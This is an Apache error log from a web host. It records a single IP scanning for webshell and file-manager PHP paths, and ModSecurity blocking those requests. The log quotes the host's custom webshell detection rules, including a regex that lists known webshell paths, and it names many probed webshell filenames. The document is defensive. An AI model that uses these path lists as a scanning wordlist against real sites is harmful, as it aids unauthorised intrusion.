[Thu May 14 08:15:00.806693 2026] [proxy_fcgi:error] [pid 63033:tid 63043] [client 20.197.195.237:18014] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:15:01.136331 2026] [proxy_fcgi:error] [pid 63033:tid 63048] [client 20.197.195.237:18014] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:15:01.463307 2026] [proxy_fcgi:error] [pid 63033:tid 63039] [client 20.197.195.237:18014] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:15:01.786451 2026] [proxy_fcgi:error] [pid 63033:tid 63057] [client 20.197.195.237:18014] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:15:02.119048 2026] [proxy_fcgi:error] [pid 63033:tid 63049] [client 20.197.195.237:18014] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:15:02.441174 2026] [proxy_fcgi:error] [pid 63033:tid 63037] [client 20.197.195.237:18014] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:15:02.756107 2026] [:error] [pid 63033:tid 63040] [client 20.197.195.237:18014] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cilus.php"] [unique_id "agUUBlMY49UWn5BpqVaGzgAAAQU"]
[Thu May 14 08:15:05.951788 2026] [:error] [pid 11588:tid 11671] [client 20.197.195.237:18016] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cilus.php"] [unique_id "agUUCdUr21rOixkeGKYhWwAAAJM"]
[Thu May 14 08:15:08.858279 2026] [:error] [pid 11582:tid 11627] [client 20.197.195.237:17998] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cilus.php"] [unique_id "agUUDPuw2cmFDpGcKhDpXwAAAEI"]
[Thu May 14 08:15:11.698139 2026] [:error] [pid 11582:tid 11645] [client 20.197.195.237:18370] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cilus.php"] [unique_id "agUUD_uw2cmFDpGcKhDpZAAAAFQ"]
[Thu May 14 08:15:13.395947 2026] [:error] [pid 11582:tid 11635] [client 20.197.195.237:17984] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "agUUEfuw2cmFDpGcKhDpZgAAAEo"]
[Thu May 14 08:15:16.312201 2026] [:error] [pid 11581:tid 11616] [client 20.197.195.237:18410] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "agUUFP0vF48FbzpvQMWX5gAAABM"]
[Thu May 14 08:15:19.894021 2026] [:error] [pid 47721:tid 47746] [client 20.197.195.237:18030] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "agUUF3Emh7_G0hfOa6s5SQAAAZc"]
[Thu May 14 08:15:23.867973 2026] [:error] [pid 63033:tid 63040] [client 20.197.195.237:18397] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "agUUG1MY49UWn5BpqVaG2AAAAQU"]
[Thu May 14 08:15:25.843672 2026] [:error] [pid 47721:tid 47743] [client 20.197.195.237:18385] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tires.php"] [unique_id "agUUHXEmh7_G0hfOa6s5YQAAAZQ"]
[Thu May 14 08:15:27.442202 2026] [:error] [pid 11581:tid 11615] [client 20.197.195.237:18000] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tires.php"] [unique_id "agUUH_0vF48FbzpvQMWX-AAAABI"]
[Thu May 14 08:15:28.352127 2026] [:error] [pid 11690:tid 11704] [client 20.197.195.237:18041] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tires.php"] [unique_id "agUUICnxWuLN8Hptw8mbVQAAAMU"]
[Thu May 14 08:15:30.220589 2026] [:error] [pid 47721:tid 47737] [client 20.197.195.237:18019] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tires.php"] [unique_id "agUUInEmh7_G0hfOa6s5bwAAAY4"]
[Thu May 14 08:15:32.132559 2026] [:error] [pid 11690:tid 11713] [client 20.197.195.237:18380] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-tiroto.php"] [unique_id "agUUJCnxWuLN8Hptw8mbYAAAAM4"]
[Thu May 14 08:15:33.076129 2026] [:error] [pid 11690:tid 11707] [client 20.197.195.237:18004] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-tiroto.php"] [unique_id "agUUJSnxWuLN8Hptw8mbYgAAAMg"]
[Thu May 14 08:15:34.940499 2026] [:error] [pid 11690:tid 11717] [client 20.197.195.237:18312] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-tiroto.php"] [unique_id "agUUJinxWuLN8Hptw8mbZQAAANI"]
[Thu May 14 08:15:36.159099 2026] [:error] [pid 11690:tid 11719] [client 20.197.195.237:18411] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-tiroto.php"] [unique_id "agUUKCnxWuLN8Hptw8mbaQAAANQ"]
[Thu May 14 08:15:37.259658 2026] [:error] [pid 47721:tid 47725] [client 20.197.195.237:18033] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a7.php"] [unique_id "agUUKXEmh7_G0hfOa6s5gAAAAYI"]
[Thu May 14 08:15:40.217089 2026] [:error] [pid 11582:tid 11630] [client 20.197.195.237:18394] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a7.php"] [unique_id "agUULPuw2cmFDpGcKhDphQAAAEU"]
[Thu May 14 08:15:42.648510 2026] [:error] [pid 11690:tid 11701] [client 20.197.195.237:17985] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a7.php"] [unique_id "agUULinxWuLN8Hptw8mbfgAAAMI"]
[Thu May 14 08:15:46.432170 2026] [:error] [pid 11690:tid 11702] [client 20.197.195.237:18416] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a7.php"] [unique_id "agUUMinxWuLN8Hptw8mbjQAAAMM"]
[Thu May 14 08:15:49.690407 2026] [:error] [pid 47673:tid 47695] [client 20.197.195.237:18025] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "agUUNfCGe4cIn3sh5k3LQgAAAVQ"]
[Thu May 14 08:15:51.774963 2026] [:error] [pid 63033:tid 63043] [client 20.197.195.237:18318] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "agUUN1MY49UWn5BpqVaG5QAAAQg"]
[Thu May 14 08:15:54.597643 2026] [:error] [pid 63033:tid 63035] [client 20.197.195.237:18405] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "agUUOlMY49UWn5BpqVaG7QAAAQA"]
[Thu May 14 08:15:55.821584 2026] [:error] [pid 47673:tid 47681] [client 20.197.195.237:18320] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "agUUO_CGe4cIn3sh5k3LRwAAAUY"]
[Thu May 14 08:15:59.309813 2026] [:error] [pid 63033:tid 63040] [client 20.197.195.237:18381] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/drykl.php"] [unique_id "agUUP1MY49UWn5BpqVaG-wAAAQU"]
[Thu May 14 08:16:03.113612 2026] [proxy_fcgi:error] [pid 11582:tid 11640] [client 20.197.195.237:18306] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:16:03.429319 2026] [proxy_fcgi:error] [pid 11582:tid 11631] [client 20.197.195.237:18306] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:16:03.753713 2026] [proxy_fcgi:error] [pid 11582:tid 11632] [client 20.197.195.237:18306] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:16:04.080557 2026] [proxy_fcgi:error] [pid 11582:tid 11646] [client 20.197.195.237:18306] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:16:04.408597 2026] [proxy_fcgi:error] [pid 11582:tid 11641] [client 20.197.195.237:18306] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:16:04.730838 2026] [proxy_fcgi:error] [pid 11582:tid 11634] [client 20.197.195.237:18306] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:16:05.049320 2026] [proxy_fcgi:error] [pid 11582:tid 11647] [client 20.197.195.237:18306] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:16:05.363726 2026] [proxy_fcgi:error] [pid 11582:tid 11642] [client 20.197.195.237:18306] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:16:05.772983 2026] [proxy_fcgi:error] [pid 11582:tid 11643] [client 20.197.195.237:18306] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:16:06.093804 2026] [proxy_fcgi:error] [pid 11582:tid 11627] [client 20.197.195.237:18306] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:16:06.413587 2026] [proxy_fcgi:error] [pid 11582:tid 11636] [client 20.197.195.237:18306] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:16:06.724061 2026] [:error] [pid 11582:tid 11648] [client 20.197.195.237:18306] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "agUURvuw2cmFDpGcKhDpmAAAAFc"]
[Thu May 14 08:16:08.807848 2026] [:error] [pid 63033:tid 63044] [client 20.197.195.237:18020] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "agUUSFMY49UWn5BpqVaHGAAAAQk"]
[Thu May 14 08:16:10.571456 2026] [:error] [pid 63033:tid 63042] [client 20.197.195.237:18373] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "agUUSlMY49UWn5BpqVaHHAAAAQc"]
[Thu May 14 08:16:12.390534 2026] [:error] [pid 11690:tid 11703] [client 20.197.195.237:18391] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "agUUTCnxWuLN8Hptw8mbqwAAAMQ"]
[Thu May 14 08:16:14.784951 2026] [:error] [pid 11581:tid 11609] [client 20.197.195.237:18388] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zo.php"] [unique_id "agUUTv0vF48FbzpvQMWYEAAAAAw"]
[Thu May 14 08:16:15.802838 2026] [:error] [pid 11690:tid 11711] [client 20.197.195.237:18389] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zo.php"] [unique_id "agUUTynxWuLN8Hptw8mbrQAAAMw"]
[Thu May 14 08:16:18.340810 2026] [:error] [pid 47721:tid 47725] [client 20.197.195.237:18393] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zo.php"] [unique_id "agUUUnEmh7_G0hfOa6s5rwAAAYI"]
[Thu May 14 08:16:20.967706 2026] [:error] [pid 47721:tid 47740] [client 20.197.195.237:17995] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zo.php"] [unique_id "agUUVHEmh7_G0hfOa6s5swAAAZE"]
[Thu May 14 08:16:23.589574 2026] [:error] [pid 47673:tid 47685] [client 20.197.195.237:18324] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper1.php"] [unique_id "agUUV_CGe4cIn3sh5k3LTwAAAUo"]
[Thu May 14 08:16:31.050292 2026] [:error] [pid 11690:tid 11713] [client 20.197.195.237:18032] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper1.php"] [unique_id "agUUXynxWuLN8Hptw8mbwAAAAM4"]
[Thu May 14 08:16:34.778839 2026] [:error] [pid 47673:tid 47698] [client 20.197.195.237:18029] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper1.php"] [unique_id "agUUYvCGe4cIn3sh5k3LWQAAAVc"]
[Thu May 14 08:16:43.171787 2026] [:error] [pid 11588:tid 11662] [client 20.197.195.237:18345] [client 20.197.195.237] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tiny.php"] [unique_id "agUUa9Ur21rOixkeGKYhhgAAAIo"]
[Thu May 14 08:16:46.563982 2026] [:error] [pid 47673:tid 47683] [client 20.197.195.237:18046] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "agUUbvCGe4cIn3sh5k3LYQAAAUg"]
[Thu May 14 08:16:48.630966 2026] [:error] [pid 11690:tid 11704] [client 20.197.195.237:18329] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "agUUcCnxWuLN8Hptw8mb2QAAAMU"]
[Thu May 14 08:16:50.952439 2026] [:error] [pid 47673:tid 47688] [client 20.197.195.237:18315] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "agUUcvCGe4cIn3sh5k3LaAAAAU0"]
[Thu May 14 08:16:53.755297 2026] [:error] [pid 47721:tid 47730] [client 20.197.195.237:17986] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "agUUdXEmh7_G0hfOa6s52AAAAYc"]
[Thu May 14 08:16:56.609213 2026] [:error] [pid 11588:tid 11663] [client 20.197.195.237:17987] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s1.php"] [unique_id "agUUeNUr21rOixkeGKYhjAAAAIs"]
[Thu May 14 08:17:01.077713 2026] [:error] [pid 11581:tid 11611] [client 20.197.195.237:18382] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s1.php"] [unique_id "agUUff0vF48FbzpvQMWYIAAAAA4"]
[Thu May 14 08:17:05.911984 2026] [:error] [pid 47673:tid 47683] [client 20.197.195.237:18328] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s1.php"] [unique_id "agUUgfCGe4cIn3sh5k3LbwAAAUg"]
[Thu May 14 08:17:07.024673 2026] [proxy_fcgi:error] [pid 47673:tid 47681] [client 20.197.195.237:18028] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:17:07.350953 2026] [proxy_fcgi:error] [pid 47673:tid 47699] [client 20.197.195.237:18028] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:17:07.682906 2026] [proxy_fcgi:error] [pid 47673:tid 47689] [client 20.197.195.237:18028] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:17:09.070044 2026] [proxy_fcgi:error] [pid 47673:tid 47675] [client 20.197.195.237:18028] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:17:09.386020 2026] [proxy_fcgi:error] [pid 47673:tid 47697] [client 20.197.195.237:18028] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:17:09.700991 2026] [proxy_fcgi:error] [pid 47673:tid 47680] [client 20.197.195.237:18028] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:17:10.018301 2026] [proxy_fcgi:error] [pid 47673:tid 47688] [client 20.197.195.237:18028] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:17:10.343331 2026] [proxy_fcgi:error] [pid 47673:tid 47691] [client 20.197.195.237:18028] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:17:10.676706 2026] [proxy_fcgi:error] [pid 47673:tid 47678] [client 20.197.195.237:18028] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:17:10.992445 2026] [proxy_fcgi:error] [pid 47673:tid 47679] [client 20.197.195.237:18028] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:17:11.304019 2026] [:error] [pid 47673:tid 47696] [client 20.197.195.237:18028] [client 20.197.195.237] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "agUUh_CGe4cIn3sh5k3LfAAAAVU"]
[Thu May 14 08:17:16.007447 2026] [proxy_fcgi:error] [pid 11588:tid 11668] [client 20.197.195.237:18376] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:17:16.343936 2026] [:error] [pid 11588:tid 11671] [client 20.197.195.237:18376] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws85.php"] [unique_id "agUUjNUr21rOixkeGKYhoAAAAJM"]
[Thu May 14 08:17:17.986523 2026] [:error] [pid 11588:tid 11659] [client 20.197.195.237:17996] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws85.php"] [unique_id "agUUjdUr21rOixkeGKYhoQAAAIc"]
[Thu May 14 08:17:19.718543 2026] [:error] [pid 11582:tid 11631] [client 20.197.195.237:18316] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws85.php"] [unique_id "agUUj_uw2cmFDpGcKhDprwAAAEY"]
